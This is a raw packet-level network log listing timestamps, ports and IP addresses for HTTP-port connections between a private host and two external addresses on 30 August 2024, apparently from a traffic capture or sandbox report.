Aug 30, 2024 03:17:07.162241936 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162250996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162262917 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162271023 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162297964 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162360907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162372112 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162380934 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162391901 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162399054 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162403107 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162411928 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162416935 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162431955 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162439108 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162447929 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162457943 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162461042 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162468910 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162478924 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162482977 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162491083 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162502050 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162506104 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162514925 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.162523031 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162532091 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.162559986 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.163058043 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163069010 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163108110 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163115025 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.163119078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163129091 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163141012 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163151026 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.163151026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163166046 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.163193941 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.163346052 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163357019 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163366079 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163377047 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163383007 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163389921 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.163393021 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163403988 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163408041 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.163414001 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163417101 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.163424969 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163448095 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.163470984 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.163626909 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163638115 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163645983 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.163672924 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.163693905 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.165417910 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165427923 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165437937 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165467024 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165467024 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.165477037 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165487051 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165493011 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.165515900 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.165529013 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165537119 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.165539026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165550947 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165574074 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.165595055 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.165605068 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165616035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165627003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165647984 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.165666103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165668964 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.165678024 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165689945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165710926 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.165734053 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.165888071 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165942907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165954113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165968895 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.165983915 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.166008949 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.166079044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.166090012 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.166099072 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.166121960 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.166130066 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.166141033 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.166143894 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.166167974 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.166282892 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.166292906 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.166302919 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.166330099 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.166343927 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.166344881 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.166357040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.166366100 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.166384935 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.166394949 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.166403055 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.172730923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172794104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172804117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172842979 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.172851086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172861099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172871113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172883034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172894001 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.172902107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.172918081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172924995 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.172931910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172943115 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172951937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172965050 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172966003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.172983885 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.172990084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173000097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173002958 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173011065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173024893 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173038006 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173069000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173079014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173089981 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173099995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173111916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173120975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173162937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173173904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173183918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173193932 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173212051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173233986 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173279047 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173312902 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173336029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173346043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173356056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173372984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173383951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173396111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173408031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173412085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173428059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173438072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173449039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173449993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173460960 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173486948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173491001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173504114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173517942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173530102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173546076 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173599005 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173609018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173618078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173643112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173651934 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173721075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173731089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.173753977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.173763037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176001072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176054001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176064968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176101923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176134109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176145077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176155090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176176071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176182032 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176187038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176197052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176206112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176222086 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176227093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176228046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176239014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176250935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176258087 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176269054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176276922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176280022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176302910 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176312923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176337004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176348925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176357031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176387072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176409006 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176477909 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176491976 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176505089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176525116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176532984 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176536083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176546097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176557064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176558018 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176568031 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176572084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176584005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176605940 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176629066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176640034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176649094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176665068 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176685095 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176712036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176723003 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176733017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176759005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176773071 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176816940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176826954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176836967 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176857948 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176881075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176906109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176915884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176923990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176942110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.176953077 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.176975965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177006960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177017927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177046061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177077055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177087069 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177095890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177113056 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177120924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177145958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177156925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177166939 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177179098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177191973 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177206993 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177225113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177236080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177244902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177256107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177259922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177273989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177295923 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177355051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177366018 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177376032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177387953 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177388906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177402020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177409887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177418947 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177419901 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177429914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177439928 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177440882 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177449942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177465916 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177484035 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177515030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177531004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177541971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177551985 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177567005 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177577019 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177599907 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177603006 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177611113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177643061 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177679062 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177690029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177700996 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177711010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177721977 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177731037 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177757978 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177789927 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177799940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.177831888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.177838087 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.178850889 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.178903103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.178903103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.178961039 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.178975105 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.178985119 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.178996086 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179013968 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.179025888 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.179045916 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179063082 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179085016 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179095030 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179096937 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.179105043 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179115057 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179121017 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.179125071 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179141998 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.179150105 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179162025 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179164886 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.179172993 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179188967 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.179202080 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.179224014 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179234028 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179243088 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179254055 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179263115 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.179271936 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.179289103 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.179366112 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179374933 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179383993 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179394960 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179405928 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179410934 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.179416895 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.179439068 CEST	49735	80	192.168.2.4	31.41.244.9
